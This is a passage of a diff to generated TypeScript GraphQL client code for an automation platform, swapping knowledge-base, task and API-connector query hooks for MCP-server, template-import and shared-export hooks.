-    mutationFn: (variables?: CreateKnowledgeBaseMutationVariables) => fetcher<CreateKnowledgeBaseMutation, CreateKnowledgeBaseMutationVariables>(CreateKnowledgeBaseDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteKnowledgeBaseDocument = `
-    mutation deleteKnowledgeBase($id: ID!) {
-  deleteKnowledgeBase(id: $id)
-}
-    `;
-
-export const useDeleteKnowledgeBaseMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteKnowledgeBaseMutation, TError, DeleteKnowledgeBaseMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteKnowledgeBaseMutation, TError, DeleteKnowledgeBaseMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteKnowledgeBase'],
-    mutationFn: (variables?: DeleteKnowledgeBaseMutationVariables) => fetcher<DeleteKnowledgeBaseMutation, DeleteKnowledgeBaseMutationVariables>(DeleteKnowledgeBaseDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteKnowledgeBaseDocumentDocument = `
-    mutation deleteKnowledgeBaseDocument($id: ID!) {
-  deleteKnowledgeBaseDocument(id: $id)
-}
-    `;
-
-export const useDeleteKnowledgeBaseDocumentMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteKnowledgeBaseDocumentMutation, TError, DeleteKnowledgeBaseDocumentMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteKnowledgeBaseDocumentMutation, TError, DeleteKnowledgeBaseDocumentMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteKnowledgeBaseDocument'],
-    mutationFn: (variables?: DeleteKnowledgeBaseDocumentMutationVariables) => fetcher<DeleteKnowledgeBaseDocumentMutation, DeleteKnowledgeBaseDocumentMutationVariables>(DeleteKnowledgeBaseDocumentDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const DeleteKnowledgeBaseDocumentChunkDocument = `
-    mutation deleteKnowledgeBaseDocumentChunk($id: ID!) {
-  deleteKnowledgeBaseDocumentChunk(id: $id)
-}
-    `;
-
-export const useDeleteKnowledgeBaseDocumentChunkMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteKnowledgeBaseDocumentChunkMutation, TError, DeleteKnowledgeBaseDocumentChunkMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteKnowledgeBaseDocumentChunkMutation, TError, DeleteKnowledgeBaseDocumentChunkMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteKnowledgeBaseDocumentChunk'],
-    mutationFn: (variables?: DeleteKnowledgeBaseDocumentChunkMutationVariables) => fetcher<DeleteKnowledgeBaseDocumentChunkMutation, DeleteKnowledgeBaseDocumentChunkMutationVariables>(DeleteKnowledgeBaseDocumentChunkDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseDocument = `
-    query knowledgeBase($id: ID!) {
-  knowledgeBase(id: $id) {
-    id
-    name
-    description
-    maxChunkSize
-    minChunkSizeChars
-    overlap
-    documents {
-      id
-      name
-      document {
-        name
-        extension
-        mimeType
-        url
-      }
-      status
-      tags {
-        id
-        name
-      }
-      createdDate
-      chunks {
-        id
-        knowledgeBaseDocumentId
-        content
-        metadata
-      }
-    }
-    createdDate
-    lastModifiedDate
-  }
-}
-    `;
-
-export const useKnowledgeBaseQuery = <
-      TData = KnowledgeBaseQuery,
-      TError = unknown
-    >(
-      variables: KnowledgeBaseQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseQuery, TError, TData>(
-      {
-    queryKey: ['knowledgeBase', variables],
-    queryFn: fetcher<KnowledgeBaseQuery, KnowledgeBaseQueryVariables>(KnowledgeBaseDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseDocumentStatusDocument = `
-    query knowledgeBaseDocumentStatus($id: ID!) {
-  knowledgeBaseDocumentStatus(id: $id) {
-    documentId
-    status
-    timestamp
-    message
-  }
-}
-    `;
-
-export const useKnowledgeBaseDocumentStatusQuery = <
-      TData = KnowledgeBaseDocumentStatusQuery,
-      TError = unknown
-    >(
-      variables: KnowledgeBaseDocumentStatusQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseDocumentStatusQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseDocumentStatusQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseDocumentStatusQuery, TError, TData>(
-      {
-    queryKey: ['knowledgeBaseDocumentStatus', variables],
-    queryFn: fetcher<KnowledgeBaseDocumentStatusQuery, KnowledgeBaseDocumentStatusQueryVariables>(KnowledgeBaseDocumentStatusDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseDocumentTagsDocument = `
-    query knowledgeBaseDocumentTags {
-  knowledgeBaseDocumentTags {
-    id
-    name
-  }
-}
-    `;
-
-export const useKnowledgeBaseDocumentTagsQuery = <
-      TData = KnowledgeBaseDocumentTagsQuery,
-      TError = unknown
-    >(
-      variables?: KnowledgeBaseDocumentTagsQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseDocumentTagsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseDocumentTagsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseDocumentTagsQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['knowledgeBaseDocumentTags'] : ['knowledgeBaseDocumentTags', variables],
-    queryFn: fetcher<KnowledgeBaseDocumentTagsQuery, KnowledgeBaseDocumentTagsQueryVariables>(KnowledgeBaseDocumentTagsDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseDocumentTagsByDocumentDocument = `
-    query knowledgeBaseDocumentTagsByDocument {
-  knowledgeBaseDocumentTagsByDocument {
-    knowledgeBaseDocumentId
-    tags {
-      id
-      name
-    }
-  }
-}
-    `;
-
-export const useKnowledgeBaseDocumentTagsByDocumentQuery = <
-      TData = KnowledgeBaseDocumentTagsByDocumentQuery,
-      TError = unknown
-    >(
-      variables?: KnowledgeBaseDocumentTagsByDocumentQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseDocumentTagsByDocumentQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseDocumentTagsByDocumentQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseDocumentTagsByDocumentQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['knowledgeBaseDocumentTagsByDocument'] : ['knowledgeBaseDocumentTagsByDocument', variables],
-    queryFn: fetcher<KnowledgeBaseDocumentTagsByDocumentQuery, KnowledgeBaseDocumentTagsByDocumentQueryVariables>(KnowledgeBaseDocumentTagsByDocumentDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseTagsDocument = `
-    query knowledgeBaseTags {
-  knowledgeBaseTags {
-    id
-    name
-  }
-}
-    `;
-
-export const useKnowledgeBaseTagsQuery = <
-      TData = KnowledgeBaseTagsQuery,
-      TError = unknown
-    >(
-      variables?: KnowledgeBaseTagsQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseTagsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseTagsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseTagsQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['knowledgeBaseTags'] : ['knowledgeBaseTags', variables],
-    queryFn: fetcher<KnowledgeBaseTagsQuery, KnowledgeBaseTagsQueryVariables>(KnowledgeBaseTagsDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBaseTagsByKnowledgeBaseDocument = `
-    query knowledgeBaseTagsByKnowledgeBase {
-  knowledgeBaseTagsByKnowledgeBase {
-    knowledgeBaseId
-    tags {
-      id
-      name
-    }
-  }
-}
-    `;
-
-export const useKnowledgeBaseTagsByKnowledgeBaseQuery = <
-      TData = KnowledgeBaseTagsByKnowledgeBaseQuery,
-      TError = unknown
-    >(
-      variables?: KnowledgeBaseTagsByKnowledgeBaseQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBaseTagsByKnowledgeBaseQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBaseTagsByKnowledgeBaseQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBaseTagsByKnowledgeBaseQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['knowledgeBaseTagsByKnowledgeBase'] : ['knowledgeBaseTagsByKnowledgeBase', variables],
-    queryFn: fetcher<KnowledgeBaseTagsByKnowledgeBaseQuery, KnowledgeBaseTagsByKnowledgeBaseQueryVariables>(KnowledgeBaseTagsByKnowledgeBaseDocument, variables),
-    ...options
-  }
-    )};
-
-export const KnowledgeBasesDocument = `
-    query knowledgeBases($workspaceId: ID!) {
-  knowledgeBases(workspaceId: $workspaceId) {
-    id
-    name
-    description
-    maxChunkSize
-    minChunkSizeChars
-    overlap
-    createdDate
-    lastModifiedDate
-  }
-}
-    `;
-
-export const useKnowledgeBasesQuery = <
-      TData = KnowledgeBasesQuery,
-      TError = unknown
-    >(
-      variables: KnowledgeBasesQueryVariables,
-      options?: Omit<UseQueryOptions<KnowledgeBasesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<KnowledgeBasesQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<KnowledgeBasesQuery, TError, TData>(
-      {
-    queryKey: ['knowledgeBases', variables],
-    queryFn: fetcher<KnowledgeBasesQuery, KnowledgeBasesQueryVariables>(KnowledgeBasesDocument, variables),
-    ...options
-  }
-    )};
-
-export const SearchKnowledgeBaseDocument = `
-    query searchKnowledgeBase($id: ID!, $query: String!, $metadataFilters: String) {
-  searchKnowledgeBase(id: $id, query: $query, metadataFilters: $metadataFilters) {
-    id
-    knowledgeBaseDocumentId
-    content
-    metadata
-    score
-  }
-}
-    `;
-
-export const useSearchKnowledgeBaseQuery = <
-      TData = SearchKnowledgeBaseQuery,
-      TError = unknown
-    >(
-      variables: SearchKnowledgeBaseQueryVariables,
-      options?: Omit<UseQueryOptions<SearchKnowledgeBaseQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<SearchKnowledgeBaseQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<SearchKnowledgeBaseQuery, TError, TData>(
-      {
-    queryKey: ['searchKnowledgeBase', variables],
-    queryFn: fetcher<SearchKnowledgeBaseQuery, SearchKnowledgeBaseQueryVariables>(SearchKnowledgeBaseDocument, variables),
-    ...options
-  }
-    )};
-
-export const UpdateKnowledgeBaseDocument = `
-    mutation updateKnowledgeBase($id: ID!, $knowledgeBase: KnowledgeBaseInput!) {
-  updateKnowledgeBase(id: $id, knowledgeBase: $knowledgeBase) {
-    id
-    name
-    description
-    maxChunkSize
-    minChunkSizeChars
-    overlap
-  }
-}
-    `;
-
-export const useUpdateKnowledgeBaseMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateKnowledgeBaseMutation, TError, UpdateKnowledgeBaseMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateKnowledgeBaseMutation, TError, UpdateKnowledgeBaseMutationVariables, TContext>(
-      {
-    mutationKey: ['updateKnowledgeBase'],
-    mutationFn: (variables?: UpdateKnowledgeBaseMutationVariables) => fetcher<UpdateKnowledgeBaseMutation, UpdateKnowledgeBaseMutationVariables>(UpdateKnowledgeBaseDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateKnowledgeBaseDocumentChunkDocument = `
-    mutation updateKnowledgeBaseDocumentChunk($id: ID!, $knowledgeBaseDocumentChunk: KnowledgeBaseDocumentChunkInput!) {
-  updateKnowledgeBaseDocumentChunk(
-    id: $id
-    knowledgeBaseDocumentChunk: $knowledgeBaseDocumentChunk
-  ) {
-    id
-    knowledgeBaseDocumentId
-    content
-    metadata
-  }
-}
-    `;
-
-export const useUpdateKnowledgeBaseDocumentChunkMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<UpdateKnowledgeBaseDocumentChunkMutation, TError, UpdateKnowledgeBaseDocumentChunkMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateKnowledgeBaseDocumentChunkMutation, TError, UpdateKnowledgeBaseDocumentChunkMutationVariables, TContext>(
-      {
-    mutationKey: ['updateKnowledgeBaseDocumentChunk'],
-    mutationFn: (variables?: UpdateKnowledgeBaseDocumentChunkMutationVariables) => fetcher<UpdateKnowledgeBaseDocumentChunkMutation, UpdateKnowledgeBaseDocumentChunkMutationVariables>(UpdateKnowledgeBaseDocumentChunkDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const UpdateKnowledgeBaseDocumentTagsDocument = `
-    mutation updateKnowledgeBaseDocumentTags($input: UpdateKnowledgeBaseDocumentTagsInput!) {
-  updateKnowledgeBaseDocumentTags(input: $input)
+export const DeleteWorkspaceMcpServerDocument = `
+    mutation deleteWorkspaceMcpServer($id: ID!) {
+  deleteWorkspaceMcpServer(mcpServerId: $id)
 }
     `;
 
-export const useUpdateKnowledgeBaseDocumentTagsMutation = <
+export const useDeleteWorkspaceMcpServerMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<UpdateKnowledgeBaseDocumentTagsMutation, TError, UpdateKnowledgeBaseDocumentTagsMutationVariables, TContext>) => {
+    >(options?: UseMutationOptions<DeleteWorkspaceMcpServerMutation, TError, DeleteWorkspaceMcpServerMutationVariables, TContext>) => {
     
-    return useMutation<UpdateKnowledgeBaseDocumentTagsMutation, TError, UpdateKnowledgeBaseDocumentTagsMutationVariables, TContext>(
+    return useMutation<DeleteWorkspaceMcpServerMutation, TError, DeleteWorkspaceMcpServerMutationVariables, TContext>(
       {
-    mutationKey: ['updateKnowledgeBaseDocumentTags'],
-    mutationFn: (variables?: UpdateKnowledgeBaseDocumentTagsMutationVariables) => fetcher<UpdateKnowledgeBaseDocumentTagsMutation, UpdateKnowledgeBaseDocumentTagsMutationVariables>(UpdateKnowledgeBaseDocumentTagsDocument, variables)(),
+    mutationKey: ['deleteWorkspaceMcpServer'],
+    mutationFn: (variables?: DeleteWorkspaceMcpServerMutationVariables) => fetcher<DeleteWorkspaceMcpServerMutation, DeleteWorkspaceMcpServerMutationVariables>(DeleteWorkspaceMcpServerDocument, variables)(),
     ...options
   }
     )};
 
-export const UpdateKnowledgeBaseTagsDocument = `
-    mutation updateKnowledgeBaseTags($input: UpdateKnowledgeBaseTagsInput!) {
-  updateKnowledgeBaseTags(input: $input)
+export const ExportSharedProjectDocument = `
+    mutation exportSharedProject($id: ID!, $description: String) {
+  exportSharedProject(id: $id, description: $description)
 }
     `;
 
-export const useUpdateKnowledgeBaseTagsMutation = <
+export const useExportSharedProjectMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<UpdateKnowledgeBaseTagsMutation, TError, UpdateKnowledgeBaseTagsMutationVariables, TContext>) => {
-    
-    return useMutation<UpdateKnowledgeBaseTagsMutation, TError, UpdateKnowledgeBaseTagsMutationVariables, TContext>(
-      {
-    mutationKey: ['updateKnowledgeBaseTags'],
-    mutationFn: (variables?: UpdateKnowledgeBaseTagsMutationVariables) => fetcher<UpdateKnowledgeBaseTagsMutation, UpdateKnowledgeBaseTagsMutationVariables>(UpdateKnowledgeBaseTagsDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const AutomationSearchDocument = `
-    query automationSearch($query: String!, $limit: Int) {
-  automationSearch(query: $query, limit: $limit) {
-    id
-    name
-    description
-    type
-    ... on WorkflowSearchResult {
-      projectId
-      label
-    }
-    ... on ProjectDeploymentSearchResult {
-      projectName
-    }
-    ... on ApiEndpointSearchResult {
-      collectionId
-      path
-    }
-    ... on KnowledgeBaseDocumentSearchResult {
-      knowledgeBaseId
-    }
-  }
-}
-    `;
-
-export const useAutomationSearchQuery = <
-      TData = AutomationSearchQuery,
-      TError = unknown
-    >(
-      variables: AutomationSearchQueryVariables,
-      options?: Omit<UseQueryOptions<AutomationSearchQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<AutomationSearchQuery, TError, TData>['queryKey'] }
-    ) => {
+    >(options?: UseMutationOptions<ExportSharedProjectMutation, TError, ExportSharedProjectMutationVariables, TContext>) => {
     
-    return useQuery<AutomationSearchQuery, TError, TData>(
+    return useMutation<ExportSharedProjectMutation, TError, ExportSharedProjectMutationVariables, TContext>(
       {
-    queryKey: ['automationSearch', variables],
-    queryFn: fetcher<AutomationSearchQuery, AutomationSearchQueryVariables>(AutomationSearchDocument, variables),
+    mutationKey: ['exportSharedProject'],
+    mutationFn: (variables?: ExportSharedProjectMutationVariables) => fetcher<ExportSharedProjectMutation, ExportSharedProjectMutationVariables>(ExportSharedProjectDocument, variables)(),
     ...options
   }
     )};
 
-export const CreateTaskDocument = `
-    mutation createTask($task: TaskInput!) {
-  createTask(task: $task) {
-    description
-    id
-    name
-  }
+export const ExportSharedWorkflowDocument = `
+    mutation exportSharedWorkflow($workflowId: String!, $description: String) {
+  exportSharedWorkflow(workflowId: $workflowId, description: $description)
 }
     `;
 
-export const useCreateTaskMutation = <
+export const useExportSharedWorkflowMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<CreateTaskMutation, TError, CreateTaskMutationVariables, TContext>) => {
+    >(options?: UseMutationOptions<ExportSharedWorkflowMutation, TError, ExportSharedWorkflowMutationVariables, TContext>) => {
     
-    return useMutation<CreateTaskMutation, TError, CreateTaskMutationVariables, TContext>(
+    return useMutation<ExportSharedWorkflowMutation, TError, ExportSharedWorkflowMutationVariables, TContext>(
       {
-    mutationKey: ['createTask'],
-    mutationFn: (variables?: CreateTaskMutationVariables) => fetcher<CreateTaskMutation, CreateTaskMutationVariables>(CreateTaskDocument, variables)(),
+    mutationKey: ['exportSharedWorkflow'],
+    mutationFn: (variables?: ExportSharedWorkflowMutationVariables) => fetcher<ExportSharedWorkflowMutation, ExportSharedWorkflowMutationVariables>(ExportSharedWorkflowDocument, variables)(),
     ...options
   }
     )};
 
-export const DeleteTaskDocument = `
-    mutation deleteTask($id: ID!) {
-  deleteTask(id: $id)
+export const ImportProjectTemplateDocument = `
+    mutation importProjectTemplate($id: String!, $workspaceId: ID!, $sharedProject: Boolean!) {
+  importProjectTemplate(
+    id: $id
+    workspaceId: $workspaceId
+    sharedProject: $sharedProject
+  )
 }
     `;
 
-export const useDeleteTaskMutation = <
+export const useImportProjectTemplateMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<DeleteTaskMutation, TError, DeleteTaskMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteTaskMutation, TError, DeleteTaskMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteTask'],
-    mutationFn: (variables?: DeleteTaskMutationVariables) => fetcher<DeleteTaskMutation, DeleteTaskMutationVariables>(DeleteTaskDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const TaskDocument = `
-    query task($id: ID!) {
-  task(id: $id) {
-    createdBy
-    createdDate
-    description
-    id
-    lastModifiedBy
-    lastModifiedDate
-    name
-    version
-  }
-}
-    `;
-
-export const useTaskQuery = <
-      TData = TaskQuery,
-      TError = unknown
-    >(
-      variables: TaskQueryVariables,
-      options?: Omit<UseQueryOptions<TaskQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<TaskQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<TaskQuery, TError, TData>(
-      {
-    queryKey: ['task', variables],
-    queryFn: fetcher<TaskQuery, TaskQueryVariables>(TaskDocument, variables),
-    ...options
-  }
-    )};
-
-export const TasksDocument = `
-    query tasks {
-  tasks {
-    createdBy
-    createdDate
-    description
-    id
-    lastModifiedBy
-    lastModifiedDate
-    name
-    version
-  }
-}
-    `;
-
-export const useTasksQuery = <
-      TData = TasksQuery,
-      TError = unknown
-    >(
-      variables?: TasksQueryVariables,
-      options?: Omit<UseQueryOptions<TasksQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<TasksQuery, TError, TData>['queryKey'] }
-    ) => {
+    >(options?: UseMutationOptions<ImportProjectTemplateMutation, TError, ImportProjectTemplateMutationVariables, TContext>) => {
     
-    return useQuery<TasksQuery, TError, TData>(
+    return useMutation<ImportProjectTemplateMutation, TError, ImportProjectTemplateMutationVariables, TContext>(
       {
-    queryKey: variables === undefined ? ['tasks'] : ['tasks', variables],
-    queryFn: fetcher<TasksQuery, TasksQueryVariables>(TasksDocument, variables),
+    mutationKey: ['importProjectTemplate'],
+    mutationFn: (variables?: ImportProjectTemplateMutationVariables) => fetcher<ImportProjectTemplateMutation, ImportProjectTemplateMutationVariables>(ImportProjectTemplateDocument, variables)(),
     ...options
   }
     )};
 
-export const UpdateTaskDocument = `
-    mutation updateTask($task: TaskInput!) {
-  updateTask(task: $task) {
-    description
-    id
-    name
-    version
-  }
+export const ImportWorkflowTemplateDocument = `
+    mutation importWorkflowTemplate($workflowUuid: String!, $projectId: ID!, $sharedWorkflow: Boolean!) {
+  importWorkflowTemplate(
+    id: $workflowUuid
+    projectId: $projectId
+    sharedWorkflow: $sharedWorkflow
+  )
 }
     `;
 
-export const useUpdateTaskMutation = <
+export const useImportWorkflowTemplateMutation = <
       TError = unknown,
       TContext = unknown
-    >(options?: UseMutationOptions<UpdateTaskMutation, TError, UpdateTaskMutationVariables, TContext>) => {
+    >(options?: UseMutationOptions<ImportWorkflowTemplateMutation, TError, ImportWorkflowTemplateMutationVariables, TContext>) => {
     
-    return useMutation<UpdateTaskMutation, TError, UpdateTaskMutationVariables, TContext>(
+    return useMutation<ImportWorkflowTemplateMutation, TError, ImportWorkflowTemplateMutationVariables, TContext>(
       {
-    mutationKey: ['updateTask'],
-    mutationFn: (variables?: UpdateTaskMutationVariables) => fetcher<UpdateTaskMutation, UpdateTaskMutationVariables>(UpdateTaskDocument, variables)(),
+    mutationKey: ['importWorkflowTemplate'],
+    mutationFn: (variables?: ImportWorkflowTemplateMutationVariables) => fetcher<ImportWorkflowTemplateMutation, ImportWorkflowTemplateMutationVariables>(ImportWorkflowTemplateDocument, variables)(),
     ...options
   }
     )};
 
-export const ConnectedUserProjectsDocument = `
-    query connectedUserProjects($connectedUserId: ID, $environmentId: ID) {
-  connectedUserProjects(
-    connectedUserId: $connectedUserId
-    environmentId: $environmentId
-  ) {
+export const McpProjectsByServerIdDocument = `
+    query mcpProjectsByServerId($mcpServerId: ID!) {
+  mcpProjectsByServerId(mcpServerId: $mcpServerId) {
     id
-    connectedUser {
+    projectDeploymentId
+    mcpServerId
+    project {
       id
-      environmentId
-      externalId
+      name
+      category {
+        id
+        name
+      }
+      tags {
+        id
+        name
+      }
     }
-    connectedUserProjectWorkflows {
+    mcpProjectWorkflows {
       id
-      connectedUserId
-      enabled
-      lastExecutionDate
-      projectId
-      workflowUuid
-      workflowVersion
+      mcpProjectId
+      projectDeploymentWorkflowId
+      projectDeploymentWorkflow {
+        id
+        projectDeploymentId
+        inputs
+        workflowId
+      }
       workflow {
         id
         label
-        triggers {
-          name
-          type
-          parameters
-        }
       }
+      createdBy
+      createdDate
+      lastModifiedBy
+      lastModifiedDate
+      version
     }
-    environmentId
-    lastExecutionDate
-    projectId
+    createdBy
+    createdDate
+    lastModifiedBy
+    lastModifiedDate
+    version
     projectVersion
   }
 }
     `;
 
-export const useConnectedUserProjectsQuery = <
-      TData = ConnectedUserProjectsQuery,
+export const useMcpProjectsByServerIdQuery = <
+      TData = McpProjectsByServerIdQuery,
       TError = unknown
     >(
-      variables?: ConnectedUserProjectsQueryVariables,
-      options?: Omit<UseQueryOptions<ConnectedUserProjectsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ConnectedUserProjectsQuery, TError, TData>['queryKey'] }
+      variables: McpProjectsByServerIdQueryVariables,
+      options?: Omit<UseQueryOptions<McpProjectsByServerIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<McpProjectsByServerIdQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<ConnectedUserProjectsQuery, TError, TData>(
+    return useQuery<McpProjectsByServerIdQuery, TError, TData>(
       {
-    queryKey: variables === undefined ? ['connectedUserProjects'] : ['connectedUserProjects', variables],
-    queryFn: fetcher<ConnectedUserProjectsQuery, ConnectedUserProjectsQueryVariables>(ConnectedUserProjectsDocument, variables),
+    queryKey: ['mcpProjectsByServerId', variables],
+    queryFn: fetcher<McpProjectsByServerIdQuery, McpProjectsByServerIdQueryVariables>(McpProjectsByServerIdDocument, variables),
     ...options
   }
     )};
 
-export const IntegrationByIdDocument = `
-    query integrationById($id: ID!) {
-  integration(id: $id) {
+export const PreBuiltProjectTemplatesDocument = `
+    query preBuiltProjectTemplates($query: String, $category: String) {
+  preBuiltProjectTemplates(query: $query, category: $category) {
+    authorName
+    categories
+    components {
+      key
+      value {
+        connection {
+          version
+        }
+        icon
+        name
+        title
+        version
+      }
+    }
+    description
     id
-    name
+    project {
+      name
+      description
+    }
+    projectVersion
+    publicUrl
+    workflows {
+      id
+      label
+    }
   }
 }
     `;
 
-export const useIntegrationByIdQuery = <
-      TData = IntegrationByIdQuery,
+export const usePreBuiltProjectTemplatesQuery = <
+      TData = PreBuiltProjectTemplatesQuery,
       TError = unknown
     >(
-      variables: IntegrationByIdQueryVariables,
-      options?: Omit<UseQueryOptions<IntegrationByIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<IntegrationByIdQuery, TError, TData>['queryKey'] }
+      variables?: PreBuiltProjectTemplatesQueryVariables,
+      options?: Omit<UseQueryOptions<PreBuiltProjectTemplatesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<PreBuiltProjectTemplatesQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<IntegrationByIdQuery, TError, TData>(
+    return useQuery<PreBuiltProjectTemplatesQuery, TError, TData>(
       {
-    queryKey: ['integrationById', variables],
-    queryFn: fetcher<IntegrationByIdQuery, IntegrationByIdQueryVariables>(IntegrationByIdDocument, variables),
+    queryKey: variables === undefined ? ['preBuiltProjectTemplates'] : ['preBuiltProjectTemplates', variables],
+    queryFn: fetcher<PreBuiltProjectTemplatesQuery, PreBuiltProjectTemplatesQueryVariables>(PreBuiltProjectTemplatesDocument, variables),
     ...options
   }
     )};
 
-export const ApiConnectorDocument = `
-    query apiConnector($id: ID!) {
-  apiConnector(id: $id) {
-    id
-    name
-    title
-    description
-    icon
-    connectorVersion
-    enabled
-    specification
-    definition
-    endpoints {
-      id
+export const PreBuiltWorkflowTemplatesDocument = `
+    query preBuiltWorkflowTemplates($query: String, $category: String) {
+  preBuiltWorkflowTemplates(query: $query, category: $category) {
+    authorName
+    categories
+    components {
+      connection {
+        version
+      }
+      icon
       name
+      title
+      version
+    }
+    description
+    id
+    projectVersion
+    publicUrl
+    workflow {
+      label
       description
-      path
-      httpMethod
     }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
   }
 }
     `;
 
-export const useApiConnectorQuery = <
-      TData = ApiConnectorQuery,
+export const usePreBuiltWorkflowTemplatesQuery = <
+      TData = PreBuiltWorkflowTemplatesQuery,
       TError = unknown
     >(
-      variables: ApiConnectorQueryVariables,
-      options?: Omit<UseQueryOptions<ApiConnectorQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ApiConnectorQuery, TError, TData>['queryKey'] }
+      variables?: PreBuiltWorkflowTemplatesQueryVariables,
+      options?: Omit<UseQueryOptions<PreBuiltWorkflowTemplatesQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<PreBuiltWorkflowTemplatesQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<ApiConnectorQuery, TError, TData>(
+    return useQuery<PreBuiltWorkflowTemplatesQuery, TError, TData>(
       {
-    queryKey: ['apiConnector', variables],
-    queryFn: fetcher<ApiConnectorQuery, ApiConnectorQueryVariables>(ApiConnectorDocument, variables),
+    queryKey: variables === undefined ? ['preBuiltWorkflowTemplates'] : ['preBuiltWorkflowTemplates', variables],
+    queryFn: fetcher<PreBuiltWorkflowTemplatesQuery, PreBuiltWorkflowTemplatesQueryVariables>(PreBuiltWorkflowTemplatesDocument, variables),
     ...options
   }
     )};
 
-export const ApiConnectorsDocument = `
-    query apiConnectors {
-  apiConnectors {
+export const ProjectByIdDocument = `
+    query projectById($id: ID!) {
+  project(id: $id) {
     id
     name
-    title
-    description
-    icon
-    connectorVersion
-    enabled
-    specification
-    definition
-    endpoints {
-      id
-      name
-      description
-      path
-      httpMethod
-    }
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
   }
 }
     `;
 
-export const useApiConnectorsQuery = <
-      TData = ApiConnectorsQuery,
+export const useProjectByIdQuery = <
+      TData = ProjectByIdQuery,
       TError = unknown
     >(
-      variables?: ApiConnectorsQueryVariables,
-      options?: Omit<UseQueryOptions<ApiConnectorsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ApiConnectorsQuery, TError, TData>['queryKey'] }
+      variables: ProjectByIdQueryVariables,
+      options?: Omit<UseQueryOptions<ProjectByIdQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<ProjectByIdQuery, TError, TData>['queryKey'] }
     ) => {
     
-    return useQuery<ApiConnectorsQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['apiConnectors'] : ['apiConnectors', variables],
